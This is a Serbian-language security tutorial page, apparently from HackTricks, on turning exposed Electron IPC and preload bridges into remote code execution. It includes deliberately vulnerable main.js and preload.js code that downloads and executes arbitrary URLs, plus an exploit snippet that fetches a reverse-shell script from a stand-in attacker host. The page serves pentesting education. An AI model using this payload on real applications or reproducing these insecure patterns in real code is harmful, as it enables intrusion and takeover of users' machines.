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100 lines
3.3 KiB
Markdown
100 lines
3.3 KiB
Markdown
# Electron contextIsolation RCE putem IPC
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{{#include ../../../banners/hacktricks-training.md}}
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Ako preload skripta izlaže IPC krajnju tačku iz main.js datoteke, proces renderovanja će moći da joj pristupi i ako je ranjiv, RCE bi mogao biti moguć.
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**Većina ovih primera je preuzeta odavde** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Pogledajte video za dodatne informacije.
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## Primer 0
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Primer sa [https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) (imate ceo primer kako je MS Teams zloupotrebljavao XSS za RCE u tim slajdovima, ovo je samo vrlo osnovni primer):
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<figure><img src="../../../images/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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## Primer 1
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Pogledajte kako `main.js` sluša na `getUpdate` i **preuzima i izvršava bilo koju URL** koja se prosledi.\
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Pogledajte takođe kako `preload.js` **izlaže bilo koji IPC** događaj iz main.
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```javascript
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// Part of code of main.js
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ipcMain.on("getUpdate", (event, url) => {
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console.log("getUpdate: " + url)
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mainWindow.webContents.downloadURL(url)
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mainWindow.download_url = url
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})
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mainWindow.webContents.session.on(
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"will-download",
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(event, item, webContents) => {
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console.log("downloads path=" + app.getPath("downloads"))
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console.log("mainWindow.download_url=" + mainWindow.download_url)
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url_parts = mainWindow.download_url.split("/")
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filename = url_parts[url_parts.length - 1]
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mainWindow.downloadPath = app.getPath("downloads") + "/" + filename
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console.log("downloadPath=" + mainWindow.downloadPath)
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// Set the save path, making Electron not to prompt a save dialog.
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item.setSavePath(mainWindow.downloadPath)
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item.on("updated", (event, state) => {
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if (state === "interrupted") {
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console.log("Download is interrupted but can be resumed")
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} else if (state === "progressing") {
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if (item.isPaused()) console.log("Download is paused")
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else console.log(`Received bytes: ${item.getReceivedBytes()}`)
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}
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})
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item.once("done", (event, state) => {
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if (state === "completed") {
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console.log("Download successful, running update")
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fs.chmodSync(mainWindow.downloadPath, 0755)
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var child = require("child_process").execFile
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child(mainWindow.downloadPath, function (err, data) {
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if (err) {
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console.error(err)
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return
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}
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console.log(data.toString())
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})
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} else console.log(`Download failed: ${state}`)
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})
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}
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)
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```
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```javascript
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// Part of code of preload.js
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window.electronSend = (event, data) => {
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ipcRenderer.send(event, data)
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}
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```
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Eksploatacija:
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```html
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<script>
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electronSend("getUpdate", "https://attacker.com/path/to/revshell.sh")
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</script>
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```
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## Primer 2
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Ako preload skripta direktno izlaže renderer-u način da pozove `shell.openExternal`, moguće je dobiti RCE.
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```javascript
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// Part of preload.js code
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window.electronOpenInBrowser = (url) => {
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shell.openExternal(url)
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}
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```
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## Primer 3
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Ako skripta za pre-load otkriva načine za potpunu komunikaciju sa glavnim procesom, XSS će moći da pošalje bilo koji događaj. Uticaj ovoga zavisi od onoga što glavni proces otkriva u smislu IPC.
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```javascript
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window.electronListen = (event, cb) => {
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ipcRenderer.on(event, cb)
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}
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window.electronSend = (event, data) => {
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ipcRenderer.send(event, data)
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}
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```
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{{#include ../../../banners/hacktricks-training.md}}
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